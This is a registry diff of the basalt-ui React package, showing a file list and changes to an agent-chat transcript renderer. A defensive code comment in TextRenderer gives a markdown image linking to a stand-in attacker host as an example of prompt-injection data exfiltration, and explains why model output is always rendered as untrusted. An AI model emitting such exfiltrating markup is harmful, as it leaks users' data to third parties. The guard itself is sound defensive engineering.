basalt-ui 1.10.0 → 1.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (273) hide show
  1. package/AGENTS.md +21 -21
  2. package/CHANGELOG.md +25 -0
  3. package/README.md +36 -27
  4. package/agent/rules/basalt-content.md +16 -3
  5. package/dist/agent/adapter.d.ts +146 -0
  6. package/dist/agent/adapter.d.ts.map +1 -0
  7. package/dist/agent/adapter.js +473 -0
  8. package/dist/agent/adapter.test.d.ts +2 -0
  9. package/dist/agent/adapter.test.d.ts.map +1 -0
  10. package/dist/agent/ai-sdk-transport.d.ts +3 -52
  11. package/dist/agent/ai-sdk-transport.d.ts.map +1 -1
  12. package/dist/agent/ai-sdk-transport.js +108 -24
  13. package/dist/agent/ai-sdk-transport.test.d.ts +2 -0
  14. package/dist/agent/ai-sdk-transport.test.d.ts.map +1 -0
  15. package/dist/agent/coalesce.d.ts +42 -0
  16. package/dist/agent/coalesce.d.ts.map +1 -0
  17. package/dist/agent/coalesce.js +137 -0
  18. package/dist/agent/coalesce.test.d.ts +2 -0
  19. package/dist/agent/coalesce.test.d.ts.map +1 -0
  20. package/dist/agent/foreign.d.ts +97 -0
  21. package/dist/agent/foreign.d.ts.map +1 -0
  22. package/dist/agent/foreign.js +18 -0
  23. package/dist/agent/foreign.test.d.ts +2 -0
  24. package/dist/agent/foreign.test.d.ts.map +1 -0
  25. package/dist/agent/history.d.ts +2 -0
  26. package/dist/agent/history.d.ts.map +1 -1
  27. package/dist/agent/id.d.ts +65 -0
  28. package/dist/agent/id.d.ts.map +1 -0
  29. package/dist/agent/id.js +30 -0
  30. package/dist/agent/id.test.d.ts +2 -0
  31. package/dist/agent/id.test.d.ts.map +1 -0
  32. package/dist/agent/index.d.ts +11 -4
  33. package/dist/agent/index.d.ts.map +1 -1
  34. package/dist/agent/index.js +18 -3
  35. package/dist/agent/merge.d.ts +8 -0
  36. package/dist/agent/merge.d.ts.map +1 -0
  37. package/dist/agent/merge.js +35 -0
  38. package/dist/agent/merge.test.d.ts +2 -0
  39. package/dist/agent/merge.test.d.ts.map +1 -0
  40. package/dist/agent/part-list.d.ts +49 -34
  41. package/dist/agent/part-list.d.ts.map +1 -1
  42. package/dist/agent/part-list.js +53 -7
  43. package/dist/agent/part-list.test.d.ts +2 -0
  44. package/dist/agent/part-list.test.d.ts.map +1 -0
  45. package/dist/agent/parts.d.ts +135 -20
  46. package/dist/agent/parts.d.ts.map +1 -1
  47. package/dist/agent/parts.js +138 -11
  48. package/dist/agent/parts.test.d.ts +2 -0
  49. package/dist/agent/parts.test.d.ts.map +1 -0
  50. package/dist/agent/thread.d.ts +14 -0
  51. package/dist/agent/thread.d.ts.map +1 -1
  52. package/dist/agent/thread.js +8 -2
  53. package/dist/agent/thread.test.d.ts +2 -0
  54. package/dist/agent/thread.test.d.ts.map +1 -0
  55. package/dist/agent/transport.d.ts +39 -3
  56. package/dist/agent/transport.d.ts.map +1 -1
  57. package/dist/agent/transport.js +20 -17
  58. package/dist/agent/transport.test.d.ts +2 -0
  59. package/dist/agent/transport.test.d.ts.map +1 -0
  60. package/dist/agent/use-agent-stream.d.ts +2 -1
  61. package/dist/agent/use-agent-stream.d.ts.map +1 -1
  62. package/dist/agent/use-agent-stream.js +5 -2
  63. package/dist/agent/use-agent-stream.test.d.ts +2 -0
  64. package/dist/agent/use-agent-stream.test.d.ts.map +1 -0
  65. package/dist/agent/use-agent-thread-runs.d.ts +9 -3
  66. package/dist/agent/use-agent-thread-runs.d.ts.map +1 -1
  67. package/dist/agent/use-agent-thread-runs.foreign.test.d.ts +2 -0
  68. package/dist/agent/use-agent-thread-runs.foreign.test.d.ts.map +1 -0
  69. package/dist/agent/use-agent-thread-runs.js +75 -23
  70. package/dist/agent/use-agent-thread-runs.resume.test.d.ts +2 -0
  71. package/dist/agent/use-agent-thread-runs.resume.test.d.ts.map +1 -0
  72. package/dist/agent/use-agent-thread-runs.test.d.ts +2 -0
  73. package/dist/agent/use-agent-thread-runs.test.d.ts.map +1 -0
  74. package/dist/agent/use-agent-thread-runs.wedge.test.d.ts +2 -0
  75. package/dist/agent/use-agent-thread-runs.wedge.test.d.ts.map +1 -0
  76. package/dist/agent-chat/composer.d.ts +130 -8
  77. package/dist/agent-chat/composer.d.ts.map +1 -1
  78. package/dist/agent-chat/composer.js +189 -23
  79. package/dist/agent-chat/composer.test.d.ts +2 -0
  80. package/dist/agent-chat/composer.test.d.ts.map +1 -0
  81. package/dist/agent-chat/index.d.ts +3 -1
  82. package/dist/agent-chat/index.d.ts.map +1 -1
  83. package/dist/agent-chat/index.js +2 -0
  84. package/dist/agent-chat/thread-detail-panel.d.ts.map +1 -1
  85. package/dist/agent-chat/thread-detail-panel.js +1 -1
  86. package/dist/agent-chat/thread-message.d.ts +24 -7
  87. package/dist/agent-chat/thread-message.d.ts.map +1 -1
  88. package/dist/agent-chat/thread-message.js +115 -45
  89. package/dist/agent-chat/thread-message.test.d.ts +2 -0
  90. package/dist/agent-chat/thread-message.test.d.ts.map +1 -0
  91. package/dist/agent-chat/thread-workspace.js +1 -1
  92. package/dist/agent-chat/tool-chip.d.ts +21 -0
  93. package/dist/agent-chat/tool-chip.d.ts.map +1 -0
  94. package/dist/agent-chat/tool-chip.js +120 -0
  95. package/dist/agent-chat/tool-chip.test.d.ts +2 -0
  96. package/dist/agent-chat/tool-chip.test.d.ts.map +1 -0
  97. package/dist/charts/primitives/ChartFrame.test.d.ts +2 -0
  98. package/dist/charts/primitives/ChartFrame.test.d.ts.map +1 -0
  99. package/dist/charts/utils/domain.test.d.ts +2 -0
  100. package/dist/charts/utils/domain.test.d.ts.map +1 -0
  101. package/dist/cli/check-theme.test.d.ts +2 -0
  102. package/dist/cli/check-theme.test.d.ts.map +1 -0
  103. package/dist/cli/help.test.d.ts +2 -0
  104. package/dist/cli/help.test.d.ts.map +1 -0
  105. package/dist/cli/index.d.ts.map +1 -1
  106. package/dist/cli/init-sync.test.d.ts +2 -0
  107. package/dist/cli/init-sync.test.d.ts.map +1 -0
  108. package/dist/cli/placement-engine.test.d.ts +2 -0
  109. package/dist/cli/placement-engine.test.d.ts.map +1 -0
  110. package/dist/cli/tarball-parity.test.d.ts +2 -0
  111. package/dist/cli/tarball-parity.test.d.ts.map +1 -0
  112. package/dist/cli/template-format.test.d.ts +2 -0
  113. package/dist/cli/template-format.test.d.ts.map +1 -0
  114. package/dist/cli/template-ledger.test.d.ts +2 -0
  115. package/dist/cli/template-ledger.test.d.ts.map +1 -0
  116. package/dist/cli/tokens-css.test.d.ts +2 -0
  117. package/dist/cli/tokens-css.test.d.ts.map +1 -0
  118. package/dist/content/article-actions.test.d.ts +2 -0
  119. package/dist/content/article-actions.test.d.ts.map +1 -0
  120. package/dist/content/article-model.test.d.ts +2 -0
  121. package/dist/content/article-model.test.d.ts.map +1 -0
  122. package/dist/content/block-split.test.d.ts +2 -0
  123. package/dist/content/block-split.test.d.ts.map +1 -0
  124. package/dist/content/fence-block.d.ts +37 -10
  125. package/dist/content/fence-block.d.ts.map +1 -1
  126. package/dist/content/fence-block.js +80 -14
  127. package/dist/content/heading-components.d.ts.map +1 -1
  128. package/dist/content/heading-components.js +7 -4
  129. package/dist/content/heading-components.test.d.ts +2 -0
  130. package/dist/content/heading-components.test.d.ts.map +1 -0
  131. package/dist/content/index.d.ts +6 -3
  132. package/dist/content/index.d.ts.map +1 -1
  133. package/dist/content/index.js +5 -1
  134. package/dist/content/markdown.d.ts +101 -14
  135. package/dist/content/markdown.d.ts.map +1 -1
  136. package/dist/content/markdown.js +141 -28
  137. package/dist/content/markdown.test.d.ts +2 -0
  138. package/dist/content/markdown.test.d.ts.map +1 -0
  139. package/dist/content/prose.module.css.test.d.ts +2 -0
  140. package/dist/content/prose.module.css.test.d.ts.map +1 -0
  141. package/dist/content/sanitize.d.ts +170 -0
  142. package/dist/content/sanitize.d.ts.map +1 -0
  143. package/dist/content/sanitize.js +178 -0
  144. package/dist/content/sanitize.test.d.ts +2 -0
  145. package/dist/content/sanitize.test.d.ts.map +1 -0
  146. package/dist/content/slug.test.d.ts +2 -0
  147. package/dist/content/slug.test.d.ts.map +1 -0
  148. package/dist/dashboard/stat-card.test.d.ts +2 -0
  149. package/dist/dashboard/stat-card.test.d.ts.map +1 -0
  150. package/dist/guard/check-source.test.d.ts +2 -0
  151. package/dist/guard/check-source.test.d.ts.map +1 -0
  152. package/dist/guard/guard-hook.test.d.ts +2 -0
  153. package/dist/guard/guard-hook.test.d.ts.map +1 -0
  154. package/dist/guard/index.d.ts.map +1 -1
  155. package/dist/guard/index.js +1 -3
  156. package/dist/index.d.ts +4 -4
  157. package/dist/index.d.ts.map +1 -1
  158. package/dist/index.js +12 -2
  159. package/dist/provider/index.test.d.ts +2 -0
  160. package/dist/provider/index.test.d.ts.map +1 -0
  161. package/dist/provider/lab-theme.test.d.ts +2 -0
  162. package/dist/provider/lab-theme.test.d.ts.map +1 -0
  163. package/dist/router-tanstack/multi-search-param-store.test.d.ts +2 -0
  164. package/dist/router-tanstack/multi-search-param-store.test.d.ts.map +1 -0
  165. package/dist/styles.floor.test.d.ts +2 -0
  166. package/dist/styles.floor.test.d.ts.map +1 -0
  167. package/dist/surfaces.d.ts +5 -5
  168. package/dist/surfaces.d.ts.map +1 -1
  169. package/dist/surfaces.js +13 -4
  170. package/dist/theme/border-coverage.test.d.ts +18 -0
  171. package/dist/theme/border-coverage.test.d.ts.map +1 -0
  172. package/dist/theme/contrast.test.d.ts +2 -0
  173. package/dist/theme/contrast.test.d.ts.map +1 -0
  174. package/dist/theme/density-option.test.d.ts +2 -0
  175. package/dist/theme/density-option.test.d.ts.map +1 -0
  176. package/dist/theme/density-relations.test.d.ts +2 -0
  177. package/dist/theme/density-relations.test.d.ts.map +1 -0
  178. package/dist/theme/derive-theme.test.d.ts +2 -0
  179. package/dist/theme/derive-theme.test.d.ts.map +1 -0
  180. package/dist/theme/fonts-option.test.d.ts +2 -0
  181. package/dist/theme/fonts-option.test.d.ts.map +1 -0
  182. package/dist/theme/radius-option.test.d.ts +2 -0
  183. package/dist/theme/radius-option.test.d.ts.map +1 -0
  184. package/dist/theme/radius.test.d.ts +2 -0
  185. package/dist/theme/radius.test.d.ts.map +1 -0
  186. package/dist/theme/shadow-surfaces.test.d.ts +26 -0
  187. package/dist/theme/shadow-surfaces.test.d.ts.map +1 -0
  188. package/dist/theme/spacing.test.d.ts +2 -0
  189. package/dist/theme/spacing.test.d.ts.map +1 -0
  190. package/dist/theme/use-basalt-spacing.test.d.ts +2 -0
  191. package/dist/theme/use-basalt-spacing.test.d.ts.map +1 -0
  192. package/dist/theme-lab/derive-controls.test.d.ts +2 -0
  193. package/dist/theme-lab/derive-controls.test.d.ts.map +1 -0
  194. package/dist/theme-lab/derive-state.test.d.ts +2 -0
  195. package/dist/theme-lab/derive-state.test.d.ts.map +1 -0
  196. package/dist/theme-lab/theme-lab.test.d.ts +2 -0
  197. package/dist/theme-lab/theme-lab.test.d.ts.map +1 -0
  198. package/dist/tokens/build-fonts-css.test.d.ts +2 -0
  199. package/dist/tokens/build-fonts-css.test.d.ts.map +1 -0
  200. package/dist/tokens/build-radius-css.test.d.ts +2 -0
  201. package/dist/tokens/build-radius-css.test.d.ts.map +1 -0
  202. package/dist/tokens/density.test.d.ts +2 -0
  203. package/dist/tokens/density.test.d.ts.map +1 -0
  204. package/dist/tokens/derive-radius.test.d.ts +2 -0
  205. package/dist/tokens/derive-radius.test.d.ts.map +1 -0
  206. package/dist/tokens/derive.test.d.ts +2 -0
  207. package/dist/tokens/derive.test.d.ts.map +1 -0
  208. package/dist/tokens/palette.test.d.ts +2 -0
  209. package/dist/tokens/palette.test.d.ts.map +1 -0
  210. package/dist/vite-color-mix.test.d.ts +2 -0
  211. package/dist/vite-color-mix.test.d.ts.map +1 -0
  212. package/dist/vite.test.d.ts +2 -0
  213. package/dist/vite.test.d.ts.map +1 -0
  214. package/llms.txt +7 -7
  215. package/package.json +6 -1
  216. package/src/agent/adapter.test.ts +1403 -0
  217. package/src/agent/adapter.ts +887 -0
  218. package/src/agent/ai-sdk-transport.test.ts +380 -55
  219. package/src/agent/ai-sdk-transport.ts +206 -53
  220. package/src/agent/coalesce.test.ts +387 -0
  221. package/src/agent/coalesce.ts +229 -0
  222. package/src/agent/foreign.test.ts +51 -0
  223. package/src/agent/foreign.ts +140 -0
  224. package/src/agent/history.ts +2 -0
  225. package/src/agent/id.test.ts +75 -0
  226. package/src/agent/id.ts +91 -0
  227. package/src/agent/index.ts +34 -3
  228. package/src/agent/merge.test.ts +206 -0
  229. package/src/agent/merge.ts +114 -0
  230. package/src/agent/part-list.test.tsx +112 -0
  231. package/src/agent/part-list.tsx +108 -35
  232. package/src/agent/parts.test.ts +516 -57
  233. package/src/agent/parts.ts +323 -32
  234. package/src/agent/thread.test.ts +75 -2
  235. package/src/agent/thread.ts +21 -1
  236. package/src/agent/transport.test.ts +70 -0
  237. package/src/agent/transport.ts +72 -20
  238. package/src/agent/use-agent-stream.test.tsx +53 -19
  239. package/src/agent/use-agent-stream.ts +13 -3
  240. package/src/agent/use-agent-thread-runs.foreign.test.tsx +138 -0
  241. package/src/agent/use-agent-thread-runs.resume.test.tsx +44 -11
  242. package/src/agent/use-agent-thread-runs.test.tsx +418 -22
  243. package/src/agent/use-agent-thread-runs.ts +170 -26
  244. package/src/agent/use-agent-thread-runs.wedge.test.tsx +15 -7
  245. package/src/agent-chat/composer.test.tsx +924 -0
  246. package/src/agent-chat/composer.tsx +521 -52
  247. package/src/agent-chat/index.ts +5 -1
  248. package/src/agent-chat/thread-detail-panel.tsx +3 -1
  249. package/src/agent-chat/thread-message.test.tsx +351 -0
  250. package/src/agent-chat/thread-message.tsx +262 -64
  251. package/src/agent-chat/thread-workspace.tsx +1 -1
  252. package/src/agent-chat/tool-chip.test.tsx +139 -0
  253. package/src/agent-chat/tool-chip.tsx +219 -0
  254. package/src/cli/index.ts +0 -1
  255. package/src/cli/template-format.test.ts +2 -2
  256. package/src/content/fence-block.tsx +242 -15
  257. package/src/content/heading-components.test.tsx +65 -0
  258. package/src/content/heading-components.tsx +26 -5
  259. package/src/content/index.ts +19 -3
  260. package/src/content/markdown.test.tsx +603 -0
  261. package/src/content/markdown.tsx +355 -35
  262. package/src/content/sanitize.test.ts +659 -0
  263. package/src/content/sanitize.ts +510 -0
  264. package/src/dashboard/stat-card.test.tsx +6 -1
  265. package/src/guard/check-source.test.ts +8 -4
  266. package/src/guard/index.ts +1 -3
  267. package/src/index.ts +15 -1
  268. package/src/surfaces.ts +13 -4
  269. package/src/theme/contrast.test.ts +1 -4
  270. package/src/theme/density-relations.test.ts +4 -2
  271. package/src/theme/fonts-option.test.ts +7 -1
  272. package/src/theme/shadow-surfaces.test.ts +12 -6
  273. package/src/theme/use-basalt-spacing.test.tsx +2 -1
@@ -30,21 +30,27 @@ import {
30
30
  UnstyledButton,
31
31
  } from '@mantine/core'
32
32
  import { useDisclosure } from '@mantine/hooks'
33
+ import { Fragment, memo, useMemo } from 'react'
33
34
  import type { JSX } from 'react'
34
35
  import type {
35
36
  AgentPart,
36
37
  AgentPartRenderers,
37
38
  ChatMessage,
38
39
  ErrorPart,
40
+ ForeignPart,
41
+ PartRenderer,
42
+ PartRenderers,
39
43
  ReasoningPart,
40
44
  SourcePart,
41
45
  StreamStatus,
42
46
  TextPart,
43
47
  ToolCallPart,
48
+ TranscriptPart,
44
49
  } from '../agent'
45
- import { PartList } from '../agent'
50
+ import { coalesceParts, narrowAgentPart, PartList } from '../agent'
46
51
  import { Markdown } from '../content/markdown'
47
- import { alpha, VX } from '../tokens'
52
+ import { VX } from '../tokens'
53
+ import { ToolChip } from './tool-chip'
48
54
 
49
55
  /** The mono, uppercase, letter-spaced micro-label idiom (docs/DESIGN-SPEC.md §3) — shared by the
50
56
  * transcript's role labels and the reasoning/tool-call headers below. */
@@ -59,12 +65,32 @@ const MICRO_LABEL_STYLE = {
59
65
 
60
66
  // ── Per-type Mantine renderers ────────────────────────────────────────────────
61
67
 
62
- function TextRenderer({ part }: { part: TextPart; index: number }): JSX.Element {
68
+ function TextRenderer({
69
+ part,
70
+ settled,
71
+ }: {
72
+ part: TextPart
73
+ index: number
74
+ settled: boolean
75
+ }): JSX.Element {
63
76
  // Markdown wraps its output in Prose (a div carrying chat-density typography). It must NOT be
64
77
  // wrapped in a Mantine `Text` (renders a `<p>`) — block elements inside a `<p>` are invalid
65
78
  // nesting that the browser auto-closes, scrambling spacing.
79
+ //
80
+ // TWO independent props, and conflating them is what broke this twice:
81
+ //
82
+ // `streaming={!settled}` is the RENDERING mode — NOT a hardcoded `streaming`. Hardcoding it kept
83
+ // `Markdown` in block-split mode forever, and its tail block is unconditionally unsettled: a
84
+ // FINISHED message ending in a ```mermaid fence rendered as a CodeBlock permanently, and the last
85
+ // block of every finished message permanently hid its copy action.
86
+ //
87
+ // `contentTrust="untrusted"` is the SECURITY policy, and it is pinned unconditionally. Transcript
88
+ // text is model-generated whether or not the run is still in flight, and images auto-fetch —
89
+ // `![](https://attacker/?q=…)` is the classic prompt-injection exfiltration channel. Letting
90
+ // `streaming` imply the policy meant every SETTLED (i.e. almost every) message silently regained
91
+ // an open `https://` image allowlist the moment the run finished.
66
92
  return (
67
- <Markdown streaming density="chat">
93
+ <Markdown streaming={!settled} contentTrust="untrusted" density="chat">
68
94
  {part.text}
69
95
  </Markdown>
70
96
  )
@@ -76,16 +102,6 @@ const RAIL_STYLE = {
76
102
  borderLeft: `2px solid ${VX.divider}`,
77
103
  paddingLeft: 'var(--vx-space-agent-rail-inset-x)',
78
104
  } as const
79
- const CODE_BLOCK_STYLE = {
80
- margin: 0,
81
- marginTop: 'var(--vx-space-agent-part-gap-top)',
82
- fontFamily: 'var(--basalt-font-mono)',
83
- backgroundColor: alpha(VX.ink, 0.06),
84
- borderRadius: 'var(--vx-radius-card)',
85
- padding: 'var(--vx-space-agent-code-inset)',
86
- whiteSpace: 'pre-wrap',
87
- overflowWrap: 'anywhere',
88
- } as const
89
105
 
90
106
  /** A dimmed, collapsed-by-default disclosure for reasoning/thinking fragments. */
91
107
  function ReasoningRenderer({ part }: { part: ReasoningPart; index: number }): JSX.Element {
@@ -106,22 +122,14 @@ function ReasoningRenderer({ part }: { part: ReasoningPart; index: number }): JS
106
122
  )
107
123
  }
108
124
 
109
- function ToolRenderer({ part }: { part: ToolCallPart; index: number }): JSX.Element {
110
- return (
111
- <Box style={RAIL_STYLE}>
112
- <Stack gap={4}>
113
- <Text style={MICRO_LABEL_STYLE}>{part.toolName}</Text>
114
- <Text component="pre" size="xs" style={CODE_BLOCK_STYLE}>
115
- {JSON.stringify(part.input, null, 2)}
116
- </Text>
117
- {part.output !== undefined && (
118
- <Text component="pre" size="xs" style={CODE_BLOCK_STYLE}>
119
- {JSON.stringify(part.output, null, 2)}
120
- </Text>
121
- )}
122
- </Stack>
123
- </Box>
124
- )
125
+ // Thin adapter: PartList's per-type renderer signature is `{ part, index, settled }`, ToolChip's is a
126
+ // richer `ToolChipProps` (defaultExpanded/onApprove/onDeny) that the built-in AgentPart union has
127
+ // no slot for — a 'tool' part reaching this path is always basalt's own six-variant union, never a
128
+ // consumer-registered one, so there is nowhere upstream to source approve/deny handlers from at
129
+ // this call site. A consumer that needs approve/deny wiring renders `ToolChip` directly instead of
130
+ // going through `PartList`/`threadPartRenderers`.
131
+ function ToolChipRenderer({ part }: { part: ToolCallPart; index: number }): JSX.Element {
132
+ return <ToolChip part={part} />
125
133
  }
126
134
 
127
135
  function SourceRenderer({ part }: { part: SourcePart; index: number }): JSX.Element {
@@ -152,78 +160,251 @@ function ErrorRenderer({ part }: { part: ErrorPart; index: number }): JSX.Elemen
152
160
  export const threadPartRenderers: Partial<AgentPartRenderers> = {
153
161
  text: TextRenderer,
154
162
  reasoning: ReasoningRenderer,
155
- tool: ToolRenderer,
163
+ tool: ToolChipRenderer,
156
164
  source: SourceRenderer,
157
165
  error: ErrorRenderer,
158
166
  }
159
167
 
160
- // ── ThreadTranscript ──────────────────────────────────────────────────────────
168
+ // ── UnknownPartChip — the dev-visible default fallback ────────────────────────
169
+
170
+ /** A visible marker for a part `ThreadTranscript` could not resolve — neither a registered
171
+ * consumer renderer nor a built-in `AgentPart` variant claimed it. Dev-only by default (see
172
+ * `DEFAULT_FALLBACK_RENDERER` below): a server emitting a new part type must not blank the
173
+ * transcript, but it also shouldn't silently vanish while the app is being built against it. */
174
+ function UnknownPartChip({ part }: { part: ForeignPart }): JSX.Element {
175
+ return (
176
+ <Box style={RAIL_STYLE}>
177
+ <Text style={MICRO_LABEL_STYLE}>{`Unknown part: ${part.type}`}</Text>
178
+ </Box>
179
+ )
180
+ }
181
+
182
+ /** Consulted only when `ThreadTranscript` gets no `fallbackRenderer` prop. `process.env.NODE_ENV`
183
+ * (not `import.meta.env` — basalt-ui bans it) is read INSIDE the render so tests can flip it. */
184
+ const DEFAULT_FALLBACK_RENDERER: PartRenderer<ForeignPart> = ({ part }) =>
185
+ process.env['NODE_ENV'] !== 'production' ? <UnknownPartChip part={part} /> : null
186
+
187
+ // ── Part resolution — the three-step order that is the whole design ───────────
188
+ //
189
+ // 1. `renderers[part.type]` — a registered consumer renderer, if present. Consumer wins, always.
190
+ // 2. `narrowAgentPart(part)` non-null — one of basalt's own six variants, routed to `PartList`'s
191
+ // UNCHANGED, closed-union, exhaustive switch (`part-list.tsx:291-293`).
192
+ // 3. `fallbackRenderer` — anything left over. Never throws.
193
+ //
194
+ // `PartList` keeps its own `AgentPartRenderers` map and `assertNever` gate untouched — two
195
+ // registries, two jobs: `PartList` renders what basalt knows, exhaustively; `ThreadTranscript`
196
+ // renders what the app knows, openly. A `TPart` generic threaded through `AgentThread` →
197
+ // `ThreadsStore` → `useAgentThreadRuns` → every component would be the alternative, and it's the
198
+ // exact ripple `thread.ts:79-93` already cites as the reason `meta` stayed untyped.
199
+
200
+ type ResolvedSegment =
201
+ | { readonly kind: 'agent'; readonly key: string; readonly parts: AgentPart[] }
202
+ | {
203
+ readonly kind: 'foreign'
204
+ readonly key: string
205
+ readonly part: ForeignPart
206
+ readonly render: PartRenderer<ForeignPart>
207
+ }
208
+
209
+ /**
210
+ * Splits a message's parts into ordered, render-ready segments per the resolution order above.
211
+ * Consecutive built-in-resolved parts are batched into one 'agent' segment — coalesced, then
212
+ * handed to `PartList` as a unit — so the existing adjacent-merge behaviour (text+text, tool-by-id
213
+ * regardless of adjacency) survives a foreign part interleaving the stream. A foreign-resolved
214
+ * part always stands alone; there is nothing in the closed union for it to merge with.
215
+ */
216
+ function resolveSegments(
217
+ parts: readonly TranscriptPart[],
218
+ renderers: PartRenderers,
219
+ fallbackRenderer: PartRenderer<ForeignPart>,
220
+ ): ResolvedSegment[] {
221
+ const segments: ResolvedSegment[] = []
222
+ let buffer: AgentPart[] = []
223
+
224
+ const flushBuffer = (): void => {
225
+ const first = buffer[0]
226
+ if (first === undefined) return
227
+ segments.push({ kind: 'agent', key: first.id, parts: coalesceParts(buffer) })
228
+ buffer = []
229
+ }
161
230
 
162
- // Streamed answers arrive as many small text parts; merge consecutive same-type text/reasoning
163
- // parts so a streaming reply renders as one flowing block instead of a stack of fragments.
164
- function coalesceParts(parts: AgentPart[]): AgentPart[] {
165
- const out: AgentPart[] = []
166
231
  for (const part of parts) {
167
- const last = out[out.length - 1]
168
- if (part.type === 'text' && last?.type === 'text') {
169
- out[out.length - 1] = { type: 'text', text: last.text + part.text }
170
- } else if (part.type === 'reasoning' && last?.type === 'reasoning') {
171
- out[out.length - 1] = { type: 'reasoning', text: last.text + part.text }
172
- } else {
173
- out.push(part)
232
+ // `PartRenderers` resolves to `Record<string, PartRenderer<ForeignPart>>` in basalt-ui's own
233
+ // (un-augmented) compilation — a plain runtime string-keyed lookup, `noUncheckedIndexedAccess`
234
+ // giving the `| undefined` this relies on.
235
+ const consumerRenderer = renderers[part.type]
236
+ if (consumerRenderer !== undefined) {
237
+ flushBuffer()
238
+ // Not narrowed to ForeignPart by the `renderers[part.type]` lookup above — asserted, not
239
+ // proven, by the registry contract (a registered key belongs to the consumer's foreign-part
240
+ // union).
241
+ segments.push({
242
+ kind: 'foreign',
243
+ key: part.id,
244
+ part: part as ForeignPart,
245
+ render: consumerRenderer,
246
+ })
247
+ continue
174
248
  }
249
+
250
+ const agentPart = narrowAgentPart(part)
251
+ if (agentPart !== null) {
252
+ buffer.push(agentPart)
253
+ continue
254
+ }
255
+
256
+ flushBuffer()
257
+ segments.push({
258
+ kind: 'foreign',
259
+ key: part.id,
260
+ part: part as ForeignPart,
261
+ render: fallbackRenderer,
262
+ })
175
263
  }
176
- return out
264
+
265
+ flushBuffer()
266
+ return segments
177
267
  }
178
268
 
269
+ // ── MessageBlock (memoized) ────────────────────────────────────────────────────
270
+
179
271
  const ROLE_LABEL: Record<ChatMessage['role'], string> = {
180
272
  user: 'You',
181
273
  assistant: 'Assistant',
182
274
  }
183
275
 
184
- function MessageBlock({
185
- author,
186
- parts,
276
+ // Terminal-state indicator (docs/AGENT-CHAT-SPEC.md §10) — `message.finish` is optional (absent on
277
+ // every user message and on pre-1.11 persisted assistant messages) and carries the distinction
278
+ // `ThreadStatus` deliberately does not: a stopped turn's thread status is `'done'`, same as a
279
+ // completed one. `'complete'` is the unremarkable case and has no entry here, so a lookup miss
280
+ // renders nothing — no badge on every ordinary message. Only 'stopped'/'error' earn a mark, in the
281
+ // same mono micro-label register as ROLE_LABEL, not a new decorative element.
282
+ const FINISH_INDICATOR: Partial<
283
+ Record<
284
+ NonNullable<ChatMessage['finish']>,
285
+ { readonly label: string; readonly statusToken: string }
286
+ >
287
+ > = {
288
+ stopped: { label: 'Stopped', statusToken: VX.status.warn },
289
+ error: { label: 'Error', statusToken: VX.status.bad },
290
+ }
291
+
292
+ type MessageBlockProps = {
293
+ readonly message: ChatMessage<TranscriptPart>
294
+ readonly streaming?: boolean
295
+ readonly renderers: PartRenderers
296
+ readonly fallbackRenderer: PartRenderer<ForeignPart>
297
+ }
298
+
299
+ /**
300
+ * Render-execution counter for `MessageBlockImpl` — increments only when React actually calls the
301
+ * function body (a `memo` bail-out never reaches it). NOT part of the public surface —
302
+ * `agent-chat/index.ts` does not re-export it. The memoization test imports this module directly
303
+ * (bypassing the barrel) to prove the memo boundary in a controlled render-count harness.
304
+ */
305
+ export const messageBlockRenderCounter = { count: 0 }
306
+
307
+ function MessageBlockImpl({
308
+ message,
187
309
  streaming = false,
188
- }: {
189
- author: ChatMessage['role']
190
- parts: AgentPart[]
191
- streaming?: boolean
192
- }): JSX.Element {
310
+ renderers,
311
+ fallbackRenderer,
312
+ }: MessageBlockProps): JSX.Element {
313
+ messageBlockRenderCounter.count += 1
314
+ const settled = !streaming
315
+ const segments = useMemo(
316
+ () => resolveSegments(message.parts, renderers, fallbackRenderer),
317
+ [message.parts, renderers, fallbackRenderer],
318
+ )
319
+ const finishIndicator =
320
+ message.finish === undefined ? undefined : FINISH_INDICATOR[message.finish]
321
+
193
322
  // Assistant/user surfaces are differentiated by subtle vs panel tokens, radius 7
194
323
  // (VX.radiusCard, docs/DESIGN-SPEC.md §5) — the user's own turn sits a shade quieter than the reply.
195
324
  return (
196
325
  <Box
197
326
  style={{
198
327
  padding: 'var(--vx-space-agent-message-inset-y) var(--vx-space-agent-message-inset-x)',
199
- backgroundColor: author === 'user' ? VX.surface.subtle : VX.surface.panel,
328
+ backgroundColor: message.role === 'user' ? VX.surface.subtle : VX.surface.panel,
200
329
  borderRadius: VX.radiusCard,
201
330
  boxShadow: VX.shadowCard,
202
331
  }}
203
332
  >
204
333
  <Stack gap={6}>
205
334
  <Group gap={6} align="center">
206
- <Text style={MICRO_LABEL_STYLE}>{ROLE_LABEL[author]}</Text>
335
+ <Text style={MICRO_LABEL_STYLE}>{ROLE_LABEL[message.role]}</Text>
207
336
  {streaming && <Loader size="xs" />}
337
+ {finishIndicator !== undefined && (
338
+ <Text style={{ ...MICRO_LABEL_STYLE, color: finishIndicator.statusToken }}>
339
+ {finishIndicator.label}
340
+ </Text>
341
+ )}
208
342
  </Group>
209
- <PartList parts={coalesceParts(parts)} components={threadPartRenderers} />
343
+ {segments.map((segment) =>
344
+ segment.kind === 'agent' ? (
345
+ <PartList
346
+ key={segment.key}
347
+ parts={segment.parts}
348
+ components={threadPartRenderers}
349
+ settled={settled}
350
+ />
351
+ ) : (
352
+ <Fragment key={segment.key}>
353
+ {segment.render({
354
+ part: segment.part,
355
+ messageId: message.id,
356
+ partId: segment.part.id,
357
+ settled,
358
+ role: message.role,
359
+ })}
360
+ </Fragment>
361
+ ),
362
+ )}
210
363
  </Stack>
211
364
  </Box>
212
365
  )
213
366
  }
214
367
 
215
- export type ThreadTranscriptProps = {
368
+ /** Compares `message` BY REFERENCE plus the `streaming` flag — the props a per-token streaming
369
+ * re-render must not force through every settled message's `MessageBlock`. `renderers`/
370
+ * `fallbackRenderer` are included too: both are memoized once at the `ThreadTranscript` level (see
371
+ * below), so in practice they're stable across renders, but a genuine change to either (a consumer
372
+ * swapping its renderer map) must still invalidate the memo. */
373
+ function areMessageBlockPropsEqual(prev: MessageBlockProps, next: MessageBlockProps): boolean {
374
+ return (
375
+ prev.message === next.message &&
376
+ prev.streaming === next.streaming &&
377
+ prev.renderers === next.renderers &&
378
+ prev.fallbackRenderer === next.fallbackRenderer
379
+ )
380
+ }
381
+
382
+ const MessageBlock = memo(MessageBlockImpl, areMessageBlockPropsEqual)
383
+
384
+ // ── ThreadTranscript ──────────────────────────────────────────────────────────
385
+
386
+ const EMPTY_RENDERERS: PartRenderers = {}
387
+
388
